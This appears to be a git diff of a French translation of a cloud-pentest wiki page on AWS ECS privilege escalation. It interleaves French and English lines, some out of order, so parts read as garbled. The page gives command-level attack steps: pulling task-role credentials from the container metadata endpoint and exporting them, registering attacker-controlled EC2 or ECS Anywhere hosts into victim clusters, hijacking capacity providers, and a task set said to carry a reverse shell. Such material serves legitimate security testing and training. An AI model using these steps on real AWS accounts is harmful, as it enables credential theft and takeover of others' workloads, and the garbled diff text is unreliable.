- S'il a **`ecs:StartTask`**, exécuter une tâche avec `aws ecs start-task --enable-execute-command [...]`
|
||||
- S'il a **`ecs:CreateService`**, créer un service avec `aws ecs create-service --enable-execute-command [...]`
|
||||
- S'il a **`ecs:UpdateService`**, mettre à jour un service avec `aws ecs update-service --enable-execute-command [...]`
|
||||
Une fois que vous avez un shell à l'intérieur du conteneur, vous pouvez généralement **extract the task role credentials** depuis le task credentials endpoint et les réutiliser en dehors du conteneur :
|
||||
```sh
|
||||
# Inside the container:
|
||||
echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq
|
||||
|
||||
Vous pouvez trouver **des exemples de ces options** dans les **sections ECS privesc précédentes**.
|
||||
# If you want to use them locally, print shell exports:
|
||||
python3 - <<'PY'
|
||||
import json, os, urllib.request
|
||||
u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"]
|
||||
d = json.load(urllib.request.urlopen(u, timeout=2))
|
||||
print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"])
|
||||
print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"])
|
||||
print("export AWS_SESSION_TOKEN=" + d["Token"])
|
||||
PY
|
||||
```
|
||||
- If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]`
|
||||
- If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]`
|
||||
- If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]`
|
||||
- If he has **`ecs:UpdateService`**, update a service with `aws ecs update-service --enable-execute-command [...]`
|
||||
|
||||
**Impact potentiel :** Privesc vers un rôle différent attaché aux conteneurs.
|
||||
You can find **examples of those options** in **previous ECS privesc sections**.
|
||||
|
||||
**Potential Impact:** Privesc to a different role attached to containers.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
Consultez la **page ssm privesc** pour voir comment abuser de cette permission afin de **privesc vers ECS** :
|
||||
Check in the **ssm privesc page** how you can abuse this permission to **privesc to ECS**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ssm-privesc/README.md
|
||||
@@ -275,7 +292,7 @@ Consultez la **page ssm privesc** pour voir comment abuser de cette permission a
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Consultez la **page ec2 privesc** pour voir comment abuser de ces permissions afin de **privesc vers ECS** :
|
||||
Check in the **ec2 privesc page** how you can abuse these permissions to **privesc to ECS**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-privesc/README.md
|
||||
@@ -283,16 +300,51 @@ Consultez la **page ec2 privesc** pour voir comment abuser de ces permissions af
|
||||
|
||||
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
||||
|
||||
Un attaquant disposant de ces permissions pourrait potentiellement enregistrer une instance EC2 dans un cluster ECS et y exécuter des tâches. Cela pourrait permettre à l'attaquant d'exécuter du code arbitraire dans le contexte des tâches ECS.
|
||||
Un attaquant disposant de ces autorisations peut souvent **transformer "cluster membership" en un contournement du périmètre de sécurité** :
|
||||
|
||||
- Enregistrer une **instance EC2 contrôlée par l'attaquant** dans un cluster ECS victime (devenant une container instance)
|
||||
- Définir des **attributs d'instance de conteneur** personnalisés pour satisfaire les **contraintes de placement**
|
||||
- Laisser ECS planifier des tâches sur cet hôte
|
||||
- Voler les **identifiants du rôle de tâche** (et tous les secrets/données à l'intérieur du conteneur) depuis la tâche s'exécutant sur votre hôte
|
||||
|
||||
High-level workflow:
|
||||
|
||||
1) Obtenir le document d'identité de l'instance EC2 + signature depuis une instance EC2 que vous contrôlez dans le compte cible (par exemple via SSM/SSH):
|
||||
```bash
|
||||
curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json
|
||||
curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig
|
||||
```
|
||||
2) Enregistrez-le dans le cluster cible, éventuellement en définissant des attributs pour satisfaire les contraintes de placement:
|
||||
```bash
|
||||
aws ecs register-container-instance \
|
||||
--cluster "$CLUSTER" \
|
||||
--instance-identity-document file://iidoc.json \
|
||||
--instance-identity-document-signature "$(cat iisig)" \
|
||||
--attributes name=labtarget,value=hijack
|
||||
```
|
||||
3) Confirmer qu'il a rejoint :
|
||||
```bash
|
||||
aws ecs list-container-instances --cluster "$CLUSTER"
|
||||
```
|
||||
4) Démarrer une task / mettre à jour un service pour que quelque chose s'exécute sur l'instance, puis récupérer les task role creds depuis l'intérieur de la task:
|
||||
```bash
|
||||
# On the container host:
|
||||
docker ps
|
||||
docker exec -it <container-id> sh
|
||||
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
```
|
||||
Notes:
|
||||
|
||||
- L'enregistrement d'une instance de conteneur en utilisant le document/signature d'identité de l'instance implique que vous avez accès à une instance EC2 dans le compte cible (ou que vous l'avez compromise). Pour le cross-account "bring your own EC2", voir la technique **ECS Anywhere** sur cette page.
|
||||
- Les contraintes de placement reposent généralement sur des attributs d'instance de conteneur. Énumérez-les via `ecs:DescribeServices`, `ecs:DescribeTaskDefinition`, et `ecs:DescribeContainerInstances` pour savoir quels attributs vous devez définir.
|
||||
|
||||
- TODO : Est-il possible d'enregistrer une instance depuis un compte AWS différent de sorte que les tâches s'exécutent sur des machines contrôlées par l'attaquant ??
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO : Tester ceci
|
||||
|
||||
Un attaquant disposant des permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` et `ecs:DescribeTaskSets` peut **créer un task set malveillant pour un service ECS existant et mettre à jour le task set primaire**. Cela permet à l'attaquant de **exécuter du code arbitraire au sein du service**.
|
||||
Un attaquant disposant des autorisations `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, et `ecs:DescribeTaskSets` peut **créer un task set malveillant pour un service ECS existant et mettre à jour le primary task set**. Cela permet à l'attaquant d'**exécuter du code arbitraire au sein du service**.
|
||||
```bash
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
@@ -318,7 +370,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**Impact potentiel**: Exécuter du code arbitraire dans le service affecté, pouvant impacter sa fonctionnalité ou exfiltrer des données sensibles.
|
||||
**Impact potentiel** : Exécuter du code arbitraire dans le service affecté, pouvant impacter sa fonctionnalité ou exfiltrer des données sensibles.
|
||||
|
||||
## Références
|
||||
|
||||
@@ -332,7 +384,7 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi
|
||||
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
Un attaquant disposant des permissions pour gérer les ECS capacity providers et mettre à jour des services peut créer un EC2 Auto Scaling Group qu'il contrôle, l'encapsuler dans un ECS Capacity Provider, l'associer au cluster cible, et migrer un service victime pour utiliser ce provider. Les tasks seront alors planifiées sur des EC2 instances contrôlées par l'attaquant, permettant un accès au niveau OS pour inspecter les containers et voler les task role credentials.
|
||||
Un attaquant disposant des permissions pour gérer les ECS capacity providers et mettre à jour les services peut créer un EC2 Auto Scaling Group qu'il contrôle, l'encapsuler dans un ECS Capacity Provider, l'associer au cluster ciblé, et migrer un service victime pour utiliser ce provider. Les tasks seront alors planifiées sur des EC2 instances contrôlées par l'attaquant, permettant un accès au niveau OS pour inspecter les containers et voler les task role credentials.
|
||||
|
||||
Commandes (us-east-1):
|
||||
|
||||
@@ -340,7 +392,7 @@ Commandes (us-east-1):
|
||||
|
||||
|
||||
|
||||
- Create Launch Template for ECS agent to join target cluster
|
||||
- Créer Launch Template pour que l'ECS agent rejoigne le cluster cible
|
||||
|
||||
|
||||
|
||||
@@ -348,33 +400,33 @@ Commandes (us-east-1):
|
||||
|
||||
|
||||
|
||||
- Create Capacity Provider from the ASG
|
||||
- Créer Capacity Provider à partir de l'ASG
|
||||
|
||||
|
||||
|
||||
- Associate the Capacity Provider to the cluster (optionally as default)
|
||||
- Associer le Capacity Provider au cluster (optionnellement par défaut)
|
||||
|
||||
|
||||
|
||||
- Migrate a service to your provider
|
||||
- Migrer un service vers votre provider
|
||||
|
||||
|
||||
|
||||
- Verify tasks land on attacker instances
|
||||
- Vérifier que les tasks sont planifiées sur les instances contrôlées par l'attaquant
|
||||
|
||||
|
||||
|
||||
- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
|
||||
- Optionnel : depuis le nœud EC2, docker exec dans les containers cibles et lire http://169.254.170.2 pour obtenir les task role credentials.
|
||||
|
||||
- Cleanup
|
||||
- Nettoyage
|
||||
|
||||
|
||||
|
||||
**Impact potentiel:** Les EC2 nodes contrôlés par l'attaquant reçoivent des tasks victimes, permettant un accès au niveau OS aux containers et le vol des task IAM role credentials.
|
||||
**Impact potentiel :** Les EC2 nodes contrôlées par l'attaquant reçoivent les tasks de la victime, permettant un accès au niveau OS aux containers et le vol des task IAM role credentials.
|
||||
|
||||
|
||||
<details>
|
||||
<summary>Step-by-step commands (copy/paste)</summary>
|
||||
<summary>Commandes pas à pas (copier/coller)</summary>
|
||||
<pre>
|
||||
export AWS_DEFAULT_REGION=us-east-1
|
||||
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
|
||||
@@ -409,23 +461,23 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que
|
||||
|
||||
### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
|
||||
|
||||
Abuse ECS Anywhere pour enregistrer un hôte contrôlé par l'attaquant en tant que EXTERNAL container instance dans un cluster ECS victime et exécuter des tasks sur cet hôte en utilisant des rôles de task et d'exécution privilégiés. Cela donne un contrôle au niveau OS sur l'endroit où les tasks s'exécutent (votre propre machine) et permet le vol de task-role credentials et de données depuis les tasks et les volumes attachés sans toucher aux capacity providers ou ASGs.
|
||||
Abuser ECS Anywhere pour enregistrer un hôte contrôlé par l'attaquant comme une EXTERNAL container instance dans un ECS cluster victime et exécuter des tasks sur cet hôte en utilisant des task et execution roles privilégiés. Cela donne un contrôle au niveau OS sur l'endroit où les tasks s'exécutent (votre propre machine) et permet le vol de credentials/données des tasks et des volumes attachés sans toucher aux capacity providers ou ASGs.
|
||||
|
||||
- Permissions requises (exemple minimal) :
|
||||
- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
|
||||
- ecs:CreateCluster (optionnel), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
|
||||
- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
|
||||
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (pour l'ECS Anywhere instance role et les task/execution roles)
|
||||
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (pour l'instance role ECS Anywhere et les task/execution roles)
|
||||
- logs:CreateLogGroup/Stream, logs:PutLogEvents (si utilisation de awslogs)
|
||||
|
||||
- Impact : Exécuter des containers arbitraires avec le taskRoleArn choisi sur l'hôte de l'attaquant ; exfiltrer les task-role credentials depuis 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI ; accéder à n'importe quels volumes montés par les tasks ; plus discret que de manipuler les capacity providers/ASGs.
|
||||
- Impact : Exécuter des containers arbitraires avec le taskRoleArn choisi sur l'hôte de l'attaquant ; exfiltrer les task-role credentials depuis 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI ; accéder aux volumes montés par les tasks ; plus discret que manipuler les capacity providers/ASGs.
|
||||
|
||||
Steps
|
||||
Étapes
|
||||
|
||||
1) Créer/identifier le cluster (us-east-1)
|
||||
```bash
|
||||
aws ecs create-cluster --cluster-name ht-ecs-anywhere
|
||||
```
|
||||
2) Créer le rôle ECS Anywhere et l'activation SSM (pour on-prem/EXTERNAL instance)
|
||||
2) Créer le rôle ECS Anywhere et l'activation SSM (pour instance on-prem/EXTERNAL)
|
||||
```bash
|
||||
aws iam create-role --role-name ecsAnywhereRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
@@ -434,7 +486,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam:
|
||||
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
|
||||
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
|
||||
```
|
||||
3) Provisionner l'hôte attaquant et l'enregistrer automatiquement en tant qu'EXTERNAL (exemple : petit AL2 EC2 comme “on‑prem”)
|
||||
3) Provisionner l'hôte attaquant et l'enregistrer automatiquement comme EXTERNAL (exemple : small AL2 EC2 as “on‑prem”)
|
||||
|
||||
<details>
|
||||
<summary>user-data.sh</summary>
|
||||
@@ -455,14 +507,14 @@ IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
|
||||
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
|
||||
aws ec2 wait instance-status-ok --instance-ids $IID
|
||||
```
|
||||
4) Vérifier que l'instance de conteneur EXTERNAL a rejoint
|
||||
4) Vérifier que l'EXTERNAL container instance a rejoint
|
||||
```bash
|
||||
aws ecs list-container-instances --cluster ht-ecs-anywhere
|
||||
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
|
||||
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
|
||||
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
|
||||
```
|
||||
5) Créer des task/execution roles, enregistrer une task definition EXTERNAL, et l'exécuter sur la machine attaquante
|
||||
5) Créer des task/execution roles, enregistrer une EXTERNAL task definition, et l'exécuter sur l'hôte de l'attaquant
|
||||
```bash
|
||||
# roles
|
||||
aws iam create-role --role-name ht-ecs-task-exec \
|
||||
@@ -498,22 +550,22 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain
|
||||
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
|
||||
--container-instances $CI
|
||||
```
|
||||
6) À partir d'ici vous contrôlez l'hôte qui exécute les tâches. Vous pouvez lire les logs des tâches (si awslogs) ou exécuter directement sur l'hôte pour exfiltrer les credentials/données de vos tâches.
|
||||
6) À partir d'ici vous contrôlez l'hôte qui exécute les tasks. Vous pouvez lire les task logs (si awslogs) ou exécuter directement des commandes sur l'hôte pour exfiltrer des credentials/données depuis vos tasks.
|
||||
|
||||
|
||||
|
||||
#### Exemple de commande (espaces réservés)
|
||||
#### Exemple de commande (placeholders)
|
||||
|
||||
|
||||
|
||||
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
Un attaquant disposant des autorisations pour gérer les ECS capacity providers et mettre à jour les services peut créer un EC2 Auto Scaling Group qu'il contrôle, l'encapsuler dans un ECS Capacity Provider, l'associer au cluster cible et migrer un service victime pour utiliser ce provider. Les tâches seront alors planifiées sur des instances EC2 contrôlées par l'attaquant, permettant un accès au niveau OS pour inspecter les containers et voler les task role credentials.
|
||||
Un attaquant disposant des permissions pour gérer les ECS capacity providers et mettre à jour les services peut créer un EC2 Auto Scaling Group qu'il contrôle, l'encapsuler dans un ECS Capacity Provider, l'associer au cluster cible, et migrer un service victime pour qu'il utilise ce provider. Les tasks seront alors planifiées sur des EC2 instances contrôlées par l'attaquant, permettant un accès au niveau OS pour inspecter les containers et voler les task role credentials.
|
||||
|
||||
Commands (us-east-1):
|
||||
|
||||
- Prérequis
|
||||
- Pré-requis
|
||||
|
||||
|
||||
|
||||
@@ -521,15 +573,15 @@ Commands (us-east-1):
|
||||
|
||||
|
||||
|
||||
- Créer Auto Scaling Group
|
||||
- Créer un Auto Scaling Group
|
||||
|
||||
|
||||
|
||||
- Créer Capacity Provider à partir de l'ASG
|
||||
- Créer un Capacity Provider à partir de l'ASG
|
||||
|
||||
|
||||
|
||||
- Associer le Capacity Provider au cluster (optionnellement comme provider par défaut)
|
||||
- Associer le Capacity Provider au cluster (optionnellement comme défaut)
|
||||
|
||||
|
||||
|
||||
@@ -537,15 +589,15 @@ Commands (us-east-1):
|
||||
|
||||
|
||||
|
||||
- Vérifier que les tâches sont déployées sur les instances contrôlées par l'attaquant
|
||||
- Vérifier que les tasks atterrissent sur les instances de l'attaquant
|
||||
|
||||
|
||||
|
||||
- Optionnel : depuis le nœud EC2, docker exec dans les containers ciblés et lire http://169.254.170.2 pour obtenir les task role credentials.
|
||||
- Optionnel : Depuis le nœud EC2, docker exec dans les containers cibles et lire http://169.254.170.2 pour obtenir les task role credentials.
|
||||
|
||||
- Nettoyage
|
||||
|
||||
|
||||
|
||||
**Impact potentiel :** Des nœuds EC2 contrôlés par l'attaquant reçoivent les tâches victimes, permettant un accès au niveau OS aux containers et le vol des task IAM role credentials.
|
||||
**Impact potentiel :** Les EC2 nodes contrôlées par l'attaquant reçoivent les tasks de la victime, permettant un accès au niveau OS aux containers et le vol des task IAM role credentials.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user